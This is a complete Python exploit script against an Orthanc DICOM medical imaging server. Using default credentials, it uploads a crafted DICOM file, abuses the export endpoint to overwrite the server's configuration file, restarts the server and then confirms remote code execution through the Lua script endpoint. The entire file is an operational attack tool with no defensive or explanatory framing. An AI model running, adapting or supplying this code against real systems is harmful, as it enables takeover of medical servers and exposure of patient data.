exploit.py

import base64
from argparse import ArgumentParser
from pathlib import Path
from time import sleep

import httpx

# Add the following arguments:
# --url: The URL of the target (required)
# --credentials: The basic authentication credentials (optional, default: orthanc:orthanc)
# --command: The command to execute (optional, default: id)
# --config-path: The path to the configuration file (optional, default: /etc/orthanc/orthanc.json)
# Add help messages and defaults

parser = ArgumentParser()
parser.add_argument('--url', required=True, help='The URL of the target')
parser.add_argument('--credentials', default='orthanc:orthanc', help='The basic authentication credentials')
parser.add_argument('--config-path', default='/etc/orthanc/orthanc.json', help='The path to the configuration file')
args = parser.parse_args()

DICOM_FILE = Path('exploit.dcm').read_bytes()

# Create a session with the target
# Set the basic authentication credentials

basic_auth = base64.b64encode(args.credentials.encode()).decode()
client = httpx.Client(follow_redirects=True, headers={'Authorization': f'Basic {basic_auth}'}, verify=False, timeout=15)

files = {'dicom-file': DICOM_FILE}

# POST the payload file
print("Uploading the file...")
res = client.post(f"{args.url}/instances", files=files)
assert(res.status_code == 200), f"Error while uploading a new instance: {res}"

# Check the file was uploaded
print("Checking that file was uploaded...")
res = client.get(f"{args.url}/instances")
instances = res.json()
instance_id = "b7fb1fb4-142e5a15-333ae197-298b1626-11f8833b"

assert instance_id in instances, f"Instance was not uploaded successfully"

# Overwrite the configuration
print(f"Overwriting target configuration: {args.config_path}")
res = client.post(f"{args.url}/instances/{instance_id}/export", content=args.config_path)
assert res.status_code == 200, f"Could not overwrite the target {args.config_path}: {res}"

# Restart the server
print("Restarting the server...")
res = client.post(f"{args.url}/tools/reset")
assert res.status_code == 200, "Could not restart the server"

client.headers = {'Authorization': f'Basic {base64.b64encode(b"orthanc:orthanc").decode()}'}

# Check that lua execution is enabled
sleep(3)

print("Checking RCE...")
res = client.post(f"{args.url}/tools/execute-script", content="print(31338-1)")
assert res.status_code == 200 and ("31337" in res.text), f"Could not verify that RCE is enabled: {res.text}. Maybe the server is not restarted yet?"

print(f"[+] RCE enabled! You can send POST requests to {args.url}/tools/execute-script with Lua commands. Credentials are now orthanc:orthanc.")